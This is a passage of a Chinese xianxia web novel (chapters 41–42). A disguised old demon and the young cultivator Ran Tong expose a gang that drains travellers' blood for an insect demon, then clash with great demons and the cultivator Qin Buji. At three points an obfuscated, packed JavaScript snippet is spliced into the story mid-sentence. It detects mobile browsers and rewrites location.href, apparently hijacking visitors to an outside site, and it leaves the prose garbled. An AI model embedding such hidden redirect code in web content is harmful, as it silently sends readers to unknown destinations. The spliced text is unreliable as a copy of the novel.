一个衣着贵气的化境男修从远处徐徐走来,向他拱手问好。 “这位道友,鄙人这厢有礼了。” 老魔转身冷眼打量他,那男修体型微胖,面相富泰,一对小眼笑如弯缝,两边嘴角像吊桥高高翘起,看上去是个精明的交际能手。 他礼貌自介:“鄙人姓徐名才,世居松阳,生平最喜交朋友。适才见道友气度不俗,见地非凡,想邀您去近处茶肆小坐,品茗畅聊一番。” 冉彤估摸这就是他们要钓的鱼,镇静地等老魔应付。 老魔欲擒故纵,不冷不热回绝:“多谢道友高谊,可惜我生性孤僻,不喜与陌路人来往,还请道友勿怪。” 他作势要走,徐才连忙紧赶几步,更热诚地示好:“道友留步,请恕鄙人冒昧,鄙人绝非唐突莽撞之辈,实是仰慕道友风采,不愿错失缘分。恳请道友赏脸与鄙人小叙片刻。若觉得不合意,不消道友驱赶,鄙人立即告退,绝不纠缠。” 他态度越恳切,动机就越可疑,老魔“踌躇”片晌,妥协道:“也罢,请道友带路吧。” 徐才殷殷勤勤地将二人请到附近酒楼,设豪宴款待。 双方就坐后,他看了看冉彤,请示老魔:“这位小友该如何称呼呢?” 这是在询问他和冉彤的关系。 冉彤知道一些走邪路的散修常将诱拐来的年轻女修放在身边做炉鼎,不愿旁人误会老魔,抢先对他说:“叔公,我们晚上还去看灯会吗?” 松阳的灯会很有名,每月初一、十五都会举办,今天恰好是十五。 老魔没想到她会这样称呼自己,脸稍稍侧向她,还未答话,徐才先热情道:“道友这侄孙女着实可爱。孩子,你有所不知,松阳的灯会都由富户们轮流承办,今晚那个承办方是个吝啬鬼,舍不得投钱布置,场面寒寒酸酸,没什么好看的。” 冉彤佯装失望地:“哦”了一声,看着老魔说:“叔公,那我们今晚就不去了吧。” 她把老魔当长辈,装孙女得心应手。 老魔也拿她当小孩儿,接戏接得很稳,点头道:“你想看,我们可以在松阳多住一阵子,等下月初一再去。” 冉彤听他顺便对外抛了个钩子,暗想:“这老鬼还是很聪明嘛,不想动歪脑筋才会显得缺心眼。” 徐才立马顺竿爬,说:“松阳是个好地方,值得长住。” 他话匣子一打开便收不住,借谈天说地刺探他们的底细。 冉彤听他话术高明,旁敲侧击,滴水不漏,显然老于此道,基本确定他别有用心。 老魔兵来将挡,自然得体地应酬着,陆续透露出符合双方需求的信息,给自己起了个假名叫“王武”,是来自枫林州的散修,交际不广,长年游历十州,居无定所。又说冉彤是孤儿,从小跟着他,也没有别的亲人。 总之将己方包装成那凶妖最理想的猎物。 一顿饭下来,双方聊得还算投机,徐才适时发起第二波邀约。 “今日与王兄结识实乃鄙人之幸,寒舍离此不远,家中房屋颇为宽敞,也有多余的仆婢杂役供客人使唤。王兄不妨移驾前去小住几日,让鄙人尽一尽地主之谊。” 老魔先谦辞,待他再三诚邀方“勉强”道:“徐道友如此盛情,王某却之不恭。我辈草莽,行事难免粗疏,若有冒犯之处,还望见谅。” 徐家位于松阳北部外城,占地足有二十来亩,房屋三百多间,大多修建得高大华丽,布局紧凑。几座院落宽敞空旷,稀稀拉拉种了些树木,其余铺满青石板,据说专供门人练功使用。 冉彤留意周边环境,这一带都是凡人的贫民窟,邻近还有菜市和屠宰场,地气杂乱、浑浊,是最不适合修真者居住的区域,倒很方便做一些见不得人的勾当。 徐才安顿他们住进舒适雅致的客房,派了一对男女仆人伺候。 冉彤见那两个仆人都有臻境修为,料想不是正牌下人,稍后试探,二人和徐才一般圆滑,说话挑不出破绽,反而借闲聊摸她的底。 “听说二位是枫林州来的,敢问老家在哪儿?” 冉彤答:“昌宁。” 那男仆接话道:“小的是在昌宁长大的,那边有个清泉寺香火很灵,小的以前就住在寺后。” 昌宁根本没有什么清泉寺,他故布疑阵,好验证他们是否真是昌宁人。 冉彤看穿伎俩,反问:“昌宁哪有叫清泉的寺庙?我怎么从没说过?” 那女仆敏捷帮腔:“他离乡太久,记岔了,不是清泉寺是福安寺。” 男仆不住点头:“是是,小的一百多年没回去了,去过的地方太多,好些地名都搞混了。” 冉彤问:“你们两个修为这么高,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真有机会和表哥复合,她也不愿意。舍不得他送的发簪,想起他会难过,是因为其他珍贵的人事都被死亡和仇恨摧毁,和云宿雨的情分象征着她仅存于世的美好财产,丢掉就真的一无所有了。 一滴泪珠逃犯似的落在纸上,晕花了符文。 老魔随之撤力,她慌忙找借口:“晚辈太笨了,这么久都学不会,害您受累了。” 老魔不信她这么容易气馁,稍加揣测,猜准缘由。 他看过冉彤和未婚夫结契的记忆,原本情投意合的佳偶被外力强行拆散,她怎不触景伤心呢。 这时任何安慰劝解都不啻往对方伤口上撒盐,他顺着她的借口回应:“你不笨,是太心急,这符箓很难学,老夫最初也练了几百遍才上手,你这才到哪儿啊。” 冉彤揉着眼角,以撒娇遮掩真实心情。 “这么难,前辈干脆替我画得了。” 老魔正色拒绝:“老夫现在帮你画几次都行,等你离了老夫又找谁帮忙呢?求人不如求己,听话。” 见他这个态度,冉彤庆幸没被看穿,用力擦了擦脸,明媚欢笑:“晚辈今天先练习一千遍,就不信画不好!” 她珍惜每一次学习机会,当下收起杂念,用功练习,一直练到手臂酸软麻木,画秃三支毛笔,用过的纸张堆得和桌面一样高,终于能一气呵成画出精准的符文了。 老魔拿出那十张空白符纸和一支妖狐尾毛炼制的符笔,让她正式画符。 冉彤先用冰心诀疗愈疲乏,活动活动四肢筋骨,严肃地拿起狐毛笔,沾匀朱砂后准备动工。 落笔前又紧张地冲老魔苦笑:“这符纸七百两一张,万一画废了什么办?” 老魔说:“老夫估算了折耗才买十张的,能有一张成功就算你过关。” 冉彤顽皮揶揄:“前辈可真阔气啊,您哪儿来那么多钱?” 老魔配合捧哏:“没偷没抢,你就放心花吧。” 冉彤噗嗤笑出声,认定这老爷爷还有很多有趣的内涵等待她发掘,见他板起脸,赶忙放下玩心,聚精会神画符。 练习成果斐然,十张符纸只报废了两张,老魔也夸:“不错。” 他取出七张成品施法强化,说:“这些对付极境中后期的修士也够用了,剩下一张你回头找个没人的地方测试威力,心里好有个数。” 夜已深了,冉彤收好符箓,去蒲团上打坐。 困意忽然像小偷猝不及防来袭,她脑袋发沉,脖子一弯垂头睡去。 老魔看在眼里,明白有人正对他们施放昏睡咒,今晚他们果然没走错地方。 41.三只大妖 老魔撤去防御阵,静候敌人落网。 距离他们一箭之隔的大屋里,徐才正和十几个手下聚集于此。 地板中央有许多深嵌地面的奇异咒文,色泽殷红,寒芒闪烁,红光在咒文沟槽内有规律地缓缓流淌,乍看仿佛一根根蠕动的血管。 咒文外围摆放着一圈一人高的黑色陶罐,粗圆的罐身上顶着一一颗颗人头像,有男有女,面容各异,都沉睡般闭着双眼。 徐才准备就绪,问接待老魔的男女仆人:“那两头猪都制住了吗?” 男仆说:“小猪已睡着了,老猪还醒着。” 徐才纳闷:“这姓王的有点本事,只有化境修为竟能抵挡夫人的昏睡咒。” 非常时期,他心有顾虑,生怕夜路走多遇到鬼。 女仆蛮有把握地宽他的心:“老大这几日也忒谨慎了,我们什么样的猪没宰过,怕他作甚?” 徐才笑眯眯的小眼睛此刻凶光暴射,活像一只老奸巨猾的黄鼠狼,训斥女仆:“你这蠢娘们成天只会偷汉,再不管外面的情形。那封七郎刚死,近期做事务必低调,否则上头不好跟外面交代。我看姓王的说话不显山不露水,搞不好大有来头,万一惹到哪路灾星谁来收场?” 手下们也知近期的差事比以往难办,一人说:“上面从不管我们底下人的难处,既要求低调,又不停催我们缴粮。那活人精血又不像庄稼,种子撒地上就能种出来。不杀猪哪儿来的粮?” 另一人鼓励徐才:“这王老头的精血至少顶几千个凡人,咱们干了这票就能清净好几天。舍不得孩子套不住狼,老大,动手吧!” 徐才心想误了头目规定的期限难逃重罚,错过这爷孙俩,一时半会儿难找替代品,的确不能把出鞘的刀收回去。 他率领众人各就各位,启动脚下的法阵。 随着灵力注入,咒文内的血光霎时浓郁,透出沟槽,映红整间屋子。 咒文满地游动,爬满周围的人头陶罐,那一张张人脸苏醒似的睁开双眼,目射红光,张大嘴巴,露出深井般的喉咙。 这阵法经十级妖修累年研制改进,能于数里外夺取目标精血,极境修士也难抵挡。 血色咒文如同虫群爬出屋子,飞速涌向猎物所在地,须臾包围了老魔和冉彤居住的客房,钻进门窗缝隙。 老魔看清那些咒文,鉴定是虫妖所为,冷哼着释放一圈紫光。 咒文遇光停顿,筛糠似的原地乱颤两下,而后以比来时快百倍的速度回撤,调头扑向施术者们。 那些人再不料会遭法阵反噬,个个措手不及,身上每一寸皮肤都被血符裹住,如附骨之疽无法摆脱,精血随着一声声惨叫抽离,被人头陶罐吸入口中,转眼留下一具具干枯的尸壳。 现场只徐才没中招,他知道老魔有意放过自己,更明白对方隐藏了修为,真实实力绝非他所能对抗,急忙施法逃遁。 老魔要靠这喽啰报信,任他去了。 过不多久,东面的天空传来嗡嗡的轰鸣声,亿万只赤色毒蚊正不停煽动翅膀,俄尔凶猛地朝这边扑来。 老魔认得那是恶妖神识演化的分身,从容放出一群紫光凝结的蝙蝠。 蝙蝠们奋勇冲向蚊群,犹如火焰落在棉纸上,弹指间将敌人杀得七零八落。 残存的毒蚊聚集起来形成红云,妖怪的本体就藏在云中。 老魔发现它的形态不同于一般蚊子,尾部特长,触脚特多,有着节肢类昆虫的特征。 看来是只混种虫妖,怪不得能修成十级妖兽。 老魔看破妖怪本相,继而质疑起它的来历。 那虫妖急于杀死猎物,显形后疯狂振翅,向客房射出无数黑色毒针。 老魔轻松还击,若干紫色大火球焚化毒针飞向虫妖,轰炸它的护盾,不绝于耳的爆炸声震得星月无光,天穹欲碎,附近居民却未有感知。 这是因为徐宅周围布有隔离法阵,宅院内一有波动,法阵便自动开启。 老魔想这帮歹人常年在此行凶搞出了经验,松阳百姓肯定想不到有多少人就在他们眼皮底下遇害了。 他决意铲除这个犯罪团伙,先诛杀眼前的首恶。 那虫妖也一心求胜,竟顶着紫火朝客房俯冲,直接以躯体撞击老魔的防御阵,扬起尖锥状的口器疯狂钻凿。 旋风扫平周遭建筑,地面擂鼓般震动,冉彤惊醒,睁开眼正对上窗户外虫妖猩红的复眼,惊叫着跳起来。 第二眼瞧见稳坐如山的老魔,她随即镇定,大声问:“前辈,这就是那杀人的恶妖吗?” 老魔点头:“别怕,老夫这便降服它。” 辨认出这是只女妖后,他暂时取消杀念。对方这模样委实可疑,不先弄清身份就杀恐好心办坏事。 冉彤卖弄胆色,叉起腰笑哈哈说:“有您在,晚辈一点不害怕。” 她放出神识观察虫妖的全貌。 这孽畜体形比客房还大出两三倍,瘦长的躯干上覆盖着鲜红的甲壳,头部像蚊子,被一双复眼占据了大半。头顶长着两根羽毛状的触角,这点又和普通蚊子不一样。 再往后看,它的下半身有更多不符合蚊子身体结构的特征,尾部呈长条形,腹部有多个环形甲片,节节相连,两侧边缘长着十来双对称的触脚,正轮流野蛮踩踏,将坚硬的石板路砸出一个个圆形大裂纹。 “这虫妖长得好生奇怪!” 冉彤也看出敌人是个“杂种”,混有其他虫类的血统,很像蜈蚣或蚰蜒。 老魔已念完降妖法咒,紫气里涌出无数金色细丝,一举缠住虫妖。 这金丝乃太初元炁所化,是一切妖物的克星。 虫妖连翅膀在内被缠得比棒槌还紧密,起初尚暴躁地滚动挣扎,渐渐不能动弹,急忙缩小身体妄图摆脱束缚。 谁知金丝贴着它的身体收缩,她变得比芥子还小仍无缝可钻,反被关在拳头大的金丝球里,彻底失去自由。 冉彤蹦跳欢呼,陡听老魔断喝:“不想死就老实呆着!” 她吓了一跳,而后发觉他在对虫妖喊话。 金丝球里迸出一团红光,虫妖竟元神出窍,突破防御阵闯入室内,直扑冉彤。 这狡诈的敌人判断她是老魔的软肋,想挟持她做人质。 冉彤怎躲得过十级大妖的突袭,惊叫中逼人的红光换成蓝影。 老魔及时闪到跟前替她挡下攻击,将虫妖的元神狠狠弹回去。 “冥顽不灵,休怪本座下狠手。” 他放出紫火焚烧金丝球,以为多吃点苦头,对方便会老实就擒。 冉彤捂住狂跳的心脏松了口气,但愿不会再有突发状况。 然而实事难料,老魔刚对虫妖用刑,高空中同时落下两股异常强大的妖气,截断紫火,卷走金丝球。 又是两个十级大妖,这虫妖的势力还真不小。三妖联手,以他目前的法力定有一场恶战。 他想先将冉彤转移到安全地带,那两个大妖却无心应战,带着虫妖直往东南方逃窜。老魔以神识追出数万里,三妖逃入无尽海渊的迷雾中,彻底失去踪迹。 冉彤对战局的把握没他清晰,只知道妖怪来了厉害的帮手,下意识往他身边躲,揪住他一缕外袍,紧张地四下观望,屏住呼吸告诫自己遇到任何情况都不可以尖叫,否则丢脸不说还会害老魔分神。 老魔没抓到三妖,收回神识后见冉彤仿佛躲在母鸡翅膀下的小鸡紧紧贴着他,便顺手拍了拍她的后背。 “没事了。” 冉彤后退一步,发现他的外袍被她捏皱了,慌忙伸手捋平。捋了两下醒悟这动作非常无礼,赶紧缩回来,另一只手捏住惹祸 的手指,促迫哂笑。 她滑稽可爱的反应令老魔面色舒展,施法驱散房子周围弥漫的烟尘,让她跟自己去搜查这座宅子。 他们先找到徐才做法的大屋,看到地面上的法阵、人头陶罐和十几具干尸。 冉彤听老魔说这阵法是妖族灵玄教的邪术,能隔空吸人精血,用得越多威力越大,看现场陶罐的容量和数量可同时杀死三名极境初期的修士,想必已连害了十几万人。 “徐才专门诱骗过路修士回家,再伺机杀人取血,那虫妖果然是他们养的。” 老魔另有见解。 “这法阵八成是那女妖教徐才布置的,但她的功法并非灵玄教一脉,搜集这么多活人的精血也不像在满足自身需求。” 他顺便给冉彤增长见闻,细致解说道:“看见老夫刚才捆妖的金丝了吧?那法术专克妖物,若是灵玄教的恶妖早被碎尸万段了。那蚊女只被缚没受伤,说明她没练过邪功,身体未受煞气侵蚀。” 冉彤疑惑:“她一个妖修不练功干嘛采集这么多人血?” 想了想,得出答案:“哦,我知道了,定是替她的同伙收集的,就是刚才救她的那两个妖怪。” 老魔不着急下结论,毁掉万恶的法阵,继续调查。 宅子里还剩有几十个奴仆,被刚才的大战吓得够呛,拼命往水井、柜子、灶坑等自认为安全的地方藏躲。 老魔派出一群金甲力士将这些人一一揪出来带到跟前,结果都是些凡人。 冉彤主动接下审讯的差事,连哄带吓一通询问,得知这些人大多是新来的,最长的也只干了半年,由于灯下黑,他们并不知晓徐才等人的罪行。 “小的们来的第一天,管家就警告我们多干活,少说话。还给我们每人划定了活动区域,超出范围就要挨罚。” “是啊,这里规矩极多极严,还不许下人们相互聊天,抓到就要扣工钱。至于老爷们每天去了哪儿,干了什么,我们是一点都不敢打听的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781823|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “每天都有人监视我们,我们还以为主人怕我们偷懒,除吃饭睡觉干活儿,不敢做多余的事。” “要不是看这儿工钱给得高,小的早不干了,才来三个月就快憋闷死了。” ……………… “远道而来的外地谋生者”是这些奴仆的共有身份,冉彤断定他们是妖怪的“储备粮”,用不了多就会被吸光精血。 听说自己每天都徘徊在死亡线上,奴仆们毛骨悚然,他们以为徐家的仆人是因为压力大才干不长久,谁能想到辞工者会被徐才等人灭口。 老魔搜查徐宅每一个角落,在几处敞院下发现藏东西的禁制,挖开一看,厚土层下埋着大量干尸,层层堆叠,数以万计,最下面的尸体都成了枯骨,至少死亡十年以上了。 而实际的遇害人数远不止这些。 奴婢们想逃跑,又怕妖怪和坏人转来加害,呼天抢地向老魔和冉彤求救。 老魔对应人数摘下几十片梧桐树叶,在叶片上写下符文,每人发给一张。 “你们立刻收拾行李,老夫先送你们出城。到了城外你们各自带着这片树叶离开松阳,路上不能和任何人说话,听到有人呼喊更不能回头,走出千里外就安全了。” 人们磕头谢恩,分头收拾细软,且喜徐宅里值钱的财物颇多,就地瓜分了足以抵偿所受的惊吓。 老魔卸下一根梁柱,施法变成一辆四轮马车供他们乘坐。 那马车小小巧巧,看外观最多容纳三人,可是坐进去却发现车厢非常宽敞,所有人都有座位,一点不拥挤。 冉彤想看老魔找什么拉车,只见他随手指了指对面堂屋屋顶戗脊上安放的狮子脊兽,那三个小石狮子便活灵活现地跳下来变成膘肥体壮的金毛雄狮,拉起马车腾空而走。 不久东方破晓,天色渐亮,老魔估计不会再有敌人到来,准备主动出击。 “老夫在那徐才身上下了追踪禁制,他这会儿应该逃往老巢了。你先回胡员外家暂避,等老夫回来。” 他交给冉彤一片树叶符,禁忌和之前相同,还多出一条:听到呼唤声不能用神识探查,区别是她只需跑出十里远便可脱险。 “不能用飞的?” “不行,一定照老夫的话做,否则有危险。” “是,晚辈记住了。” 冉彤遗憾不能跟随老魔见世面,又预感这次的敌人比以往都难对付,取出映真镜递给他。 “前辈戴上这镜子吧,兴许用得着。” 担心老魔拒绝,忙诚恳道:“晚辈知道您所向无敌,就怕万一有人看穿您的身份。在摸清敌人的底细前还是小心为妙。” 老魔吃够了大意的亏,很认同她的劝诫,收下映真镜,会心微笑:“老夫会注意的,最迟日落前就去找你,快走吧。” 冉彤依言,握着那片树叶离开徐宅,飞奔着往远处跑。 街道上还很冷清,两边房屋门窗紧闭,隔老远才能稀稀拉拉看到几个行人。 “喂!前面的,你东西掉了!” 身后人声骤起,听来是个热心妇女。 若非老魔提醒,冉彤真会回头查看。 她相信不听老人言吃亏在眼前,又憋不住好奇,想出一个聪明的办法,掏出几块银子搓成镜面向后探照。 镜子里出现一团血红的浓雾,像长着触须的怪兽紧跟着她蠕动。 她记得《妖异录》中记载,部分高阶妖兽身上寄生了一种名叫血影虫的妖怪,能替宿主杀人猎食,常躲在林间道旁模仿人声呼唤行人,人若回头查看,目光与之交接便会被掳走精血。 化形大妖养出的血影虫更能猎杀人族修士,臻境以下的修为遇上了都难以脱身。 好在这妖怪很蠢,胆子又小,不敢正面出击,所以了解其习性后多加戒备还是很好防御的。 血影虫主要靠摄魂制服猎物,眼为神之门,凡人看到它就中招,怪不得老鬼不许我用神识探查,这跟直接拿眼睛看是一个后果。 冉彤不甘被动,将那血影虫引到空旷的河边,一跃跳入水中。 血影虫追着她潜水,冉彤游至河底,陡然朝后甩出那张没受过老魔加持的“鸿蒙震爆符”。 爆炸产生的气浪冲破河面,激起三丈高的水柱,将血影虫炸得形散神消。 冉彤破水而出,飘在半空中得意畅笑,很满意这张原创符箓的效果。 水波尚未平息,河面陡然间一分为二,妖气喷涌,升起一座黑色小岛。定睛细看,岛上铺满油亮的鳞甲,是条大黑鱼的脊背。 冉彤看这妖怪不好对付,转身逃跑,眼前黄光一闪,去路被一名黑袍长髯的中年汉子阻挡。 这汉子正是黑鱼精所化,气汹汹瞪着她责骂:“哪儿来的野丫头,跑别人家里捣乱,你家大人是怎么教你的,还懂不懂规矩?!” 42.求公道 冉彤可不敢招惹化形大妖,看这汉子的话风不似恶类,赶忙作揖赔不是:“前辈恕罪,方才晚辈被恶妖追赶,一时情急使用震爆符,未想到此处是尊府的地盘,惊扰之处还望海涵。” 黑鱼精没好气地哼了一声,打量她两眼,问:“你刚才用的符箓还怪厉害的,谁给你的?” 听说是自己画的,断定她是名家子弟,严厉道:“我在这条河住了几百年,松阳的人族修士都得给我三分薄面,从未前来滋扰。你这小丫头胆敢弄坏我的庭院,光道歉可不行,必须赔偿损失。” 冉彤提防他讹诈,装起老实人:“那是自然。可晚辈一穷二白,身无长物,恐怕没有值钱的东西赔给您啊。” 黑鱼精讥嗤:“谁稀罕你赔钱赔东西?我问你,你是哪个门派的,师父是谁?” “晚辈是个流浪儿,没加入过门派,也没有师父。” “撒谎!没师父,你跟谁学的画符?” “哦,那是一位好心前辈教给晚辈的。” “你还能找着那人吗?” 黑鱼精似乎正迫切寻找厉害的修士,冉彤估摸他遇上麻烦需要帮手,探问:“那前辈行踪不定,晚辈也不是随时联系得上。敢问前辈找他所为何事?” 黑鱼精失望叹息,烦闷道:“你既找不到那人,告诉你也无用。也罢,这损失不消你赔了,我今天便领着家小另寻住处。” 这番话大有玄机,冉彤自跟了老魔身心安定,本性里蕴藏的探索欲随之复苏,遇上有趣的事就想刨根问底,试探:“晚辈只损坏了您的庭院,并未波及其他地方,您不至于为此搬家吧。” 她见黑鱼精满脸晦气,显是摊上了大麻烦,所谓搬家实是逃难。 黑鱼精郁闷一阵,说:“看你这丫头还算热心,那就帮我个忙。我被一个人族魔修威逼,即将家破人亡,你听了这件事,替我散播到人族修真界,让人们都来痛斥那魔头的罪孽。” 据说那魔修昨日找到他,开口便让他交出即将渡劫化形的小儿子。 黑鱼精见对方修为高,不敢轻易得罪,礼貌询问因由。 那魔修竟恬不知耻道:“我儿病重,大夫说要用七级黑鱼的内脏和妖丹入药,你的小儿子正合适。” 黑鱼精气个半死,当场同他拼命,奈何技不如人败下阵来。 “那厮还自认讲情理,限我三日之内交人,否则便将我全家灭门。为救自己的儿子,就杀别人的儿子,如此凶残,不如禽兽啊。” 若事情属实,这魔修真该死。 冉彤现下有老魔撑腰,底气充足,遇见不平事便想管一管,问那魔修姓名来历。 “唉,七曜城你知道吧,他是万象圣尊座下‘十柱石’之一,名字叫做秦不羁。” 提到“七曜城”冉彤便猜到是谁了,心想那秦万岁究竟得了什么病,白泽内丹都治不好。看来这黑鱼精没撒谎,以秦不羁的性格确实干得出杀人全家的歹毒事。 “此人这般蛮横狂暴,前辈何不去找松阳的管事们说理?我们两族定有和平协议,前辈是良民,应该受协议保护。” 黑鱼精更苦闷:“你们人族都是些宵小之辈在掌权,我昨天已去找过离恨天的人,那些小人百般推诿,不敢招惹秦不羁。我好说歹说到头来只换得几句冠冕堂皇的废话,真想先砸烂他们的场子出口气。” 妖族比人类单纯得多,很难理解人族上层那些盘根错节的规则和套路, 离恨天同七曜城也定有协议,秦不羁是白子落手下要员,他们怎可能为保护一头无足轻重的妖兽与魔道颉颃。 其实对付秦不羁不一定非得用武力,搞定秦万岁就行了。 冉彤的善心和功利心一脉相连,做好事时最好能获取回报,对黑鱼精说:“晚辈知道这秦不羁爱子如命,为了儿子什么事都干得出来。说来也巧,晚辈与他儿子有些交情,那秦公子和他父亲不同,为人非常温和善良,晚辈愿意替您去找他求情,就是不知道他此刻人在哪里。另外这事风险不小,若被秦不羁发现晚辈多嘴,定会取我性命。” 黑鱼精半信半疑:“此话当真?人命关天,你可不能骗我。” 冉彤故意逗他:“前辈若信不过晚辈,就全当没听见吧,告辞。” “慢着,慢着!” 黑鱼精再度拦住她,态度平和不少,甚至带上了三分讨好。 “小友,不是我信不过你,事关我全家老小的生死不敢大意啊。那秦不羁此刻就住在内城东葛大街的凤来客栈,你若真能替我摆平这场祸事,我定有重谢。” 这妖怪是个实心眼,马上取出一颗水润的蓝色珍珠做谢礼。 “这避水珠跟了我几百年,你拿着它想在水底盖房子长住都不成问题。等事情办妥我便双手奉上,神明为证,绝不失言。” 冉彤有七成把握能名利双收,辞别黑鱼精,直奔那凤来客栈。 秦不羁父子还真住在这里的天字第一号房,更走运的是老秦外出了,只秦万岁一人呆在房里,听伙计通报说有个叫“小桐”的年轻女修找他,他便猜是冉彤,忙让伙计将人请进来。 “冉姑娘,你是怎么找来的?” “凑巧听人说起,特地前来拜望您。” 冉彤先向秦万岁问好,见他仍是病恹恹的,适当关心道:“前辈的病还不见好吗?晚辈早想问了,您患的是什么疾症,竟如此顽固。” 秦万岁苦笑:“这病是娘胎里带来的,休想治得好,阿爹不相信,非要四处折腾,不过劳民伤财罢了。” 他先破题倒替冉彤省事了,郑重道:“晚辈此番正是受人之托,来求您劝阻令尊,请他别再干那劳民伤财的事。” 秦万岁这次跟父亲来松阳,前后没通知任何人,听冉彤说是受人指点找来的,他便疑心秦不羁又在当地作恶,关切地注视她:“阿爹犯了何事,还请姑娘直言。” 冉彤详细转述了黑鱼精对秦不羁的控诉,她明白当说客必须看人下菜,完全照搬被害者的原话,免得秦不羁将来怪她加油添醋。 秦万岁苍白的小脸憋得通红,耳垂更红得快渗出血来,羞耻和负罪感比病痛更能折磨他,后者是天生的,前面两样却是父亲不断强加的,他不知第几次怨自己投错了胎,咬牙遏制激动,哀苦道:“谢谢你及时通知我,烦劳转告那鱼妖,叫他不用搬家,我定会阻止阿爹乱来。” 冉彤看出他很难受,心里很不是滋味,想说点别的帮他缓和情绪,点头后询问:“前辈和令尊来松阳还有别的事吗?” 秦万岁摇头:“阿爹说带我来找药,估计就是来祸害那鱼妖。他大概快回来了,你赶紧走吧,不然他会说你通风报信,迁怒于你。” 他捂住脑门善意逐客,冉彤慌忙道别,仍变成胖丫头模样,向胡员外家走去。 穿过一条热闹的商业街时,左边酒楼上传来粗犷的喊声:“冉丫头!给我站住!” 雷公般的嗓门吼痛了街上人的耳膜,正是秦不羁。 冉彤吓得脚趾抠地,后悔将映真镜借给老魔,没那宝物防护,她的换形术在高阶修士跟前就是个摆设。 她鼓起勇气回头,秦不羁正倚着栏杆,右手抱酒坛,左手勾手指,命令她过去。 她被迫跳上楼,假装欢喜地向他赔笑行礼:“秦前辈,能在这儿遇上您,看来晚辈真要时来运转了。” 秦不羁笑骂:“死丫头还是这么油嘴滑舌,你不是早就时来运转了吗?连那姓封的老蚊子都能勾搭上,你本事不小啊。” 他一进松阳就察觉封无牙在用幻术帮冉彤掩饰逃犯身份,正想知道她是如何搭上这条人脉的。 大修士消息灵通,应付起来很麻烦,造假更须谨慎。 “晚辈偶然邂逅封老前辈,他很同情晚辈的遭遇,还说晚辈祖上和他有些交情,故而施恩救护。” 秦不羁狐疑:“那封无牙厌恶人族,怎会跟你祖上打交道?” 冉彤背心一凉,又听他自行解惑:“是了,你有妖族血统,他多半是看这层关系。” 连他都这么说,那昨天胡员外也非信口开河,真有妖怪同她是血亲,是从哪一辈开始的呢? 秦不羁相信冉彤的话以后便懒得深究了,喝下半碗酒,感叹:“你这丫头运气真好啊,要是我们万岁也能像你这么走运该多好?” 冉彤趁机将话题扯向秦万岁:“令郎没同您一块儿来吗?” 秦不羁说:“他在客栈,等我办完事就回去,你也去吧,万岁见了你会高兴的。对了,你已不怕那通缉令了,怎么还易容?万岁给你的映真镜哪儿去了?” 冉彤说:“我怕弄丢宝物,放在安全的地方了。昨天在这里遭遇一个仇家,怕被她认出来,是以改换形容。” 秦不羁对她有好感,还打算收她做徒弟,当即豪迈表态:“那人现在何处?老子去替你宰了他。” 冉彤搪塞:“多谢前辈,可惜晚辈也不知道她在哪儿。” 她本可供出白泽女妖,借秦不羁之手报复,可是内心对其同情居多,反而怕秦不羁知晓对方的存在。 秦不羁将坛子里剩余的酒统统倒进碗里,一口气喝光,痛快地打了个嗝,说:“也罢,你这便去凤来客栈陪万岁,我先去抓那头白泽兽。” 这话像拳头捶中冉彤胸口,料定他说的白泽兽就是昨天追杀她的红裙少女,佯装喜色道:“前辈又找到泽兽的踪迹了?” 秦不羁信得过她,透露实情:“上次那头白泽还有个妹妹,自我手下脱逃后躲到了松阳,叫我一顿好找。泽兽内丹虽无法祛除万岁的病根,坚持服用尚能稳定病情。” 被他锁定,那白泽妹妹难逃一死。 冉彤突然怒从心起,她的正义感不算强烈,但痛恨一切不公平的现象,正如黑鱼精所说,秦不羁为救儿子便心安理得残害他人。那白泽哥哥和他无冤无仇,被他屠杀取丹,如今连人家的妹妹都不放过,这种赶尽杀绝的做法实在没人性。 如果强者能任意欺凌弱者,生在这弱肉强食的世界就是弱者的原罪。 如果身为弱者还默认这种规则,等于亲手给自己的灵魂打上奴隶的印记。 冉彤没有奴性,还不缺向强权叫板的叛逆,决定这次跟秦不羁作对,开始踩着钢丝演戏。 “前辈这么一说倒提醒晚辈了。” “怎么?” “昨天晚辈在城中偶遇一名少女,此女身有妖气,见了晚辈便指责我杀死她的兄长,带人不停追杀晚辈。而今想来莫非就是您要找的白泽女妖?” 秦不羁拍案笑道:“错不了,一准是她。看我说什么来着,你这丫头狗屎运从没断过,想瞌睡就有人递枕头,昨天刚被追杀,今天老子就来帮你报仇。” 呸,明明是你杀了人家哥哥,害我替你背锅! 冉彤假笑附和,摆出狗腿专用表情:“前辈对晚辈有大恩,您的事晚辈说什么都得尽一份力。就让晚辈随您一同去猎杀那泽兽,可以的话请准许晚辈亲手报仇。” 她原想等待老魔到来,情况却不随计划发展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到“祖灵”二字,秦不羁登时来了兴趣。 冉彤趁他分神,左手反甩,掷出藏在手心里的“鸿蒙震爆符”。 秦不羁修为比她高得多,纵无防备也能挡下偷袭,施法将符箓定在半空。 老魔早算到这种情况,昨晚强化符箓时做了设定,就算中途遭拦截,只要碰到拦截者的气息,符箓就会自行启爆。 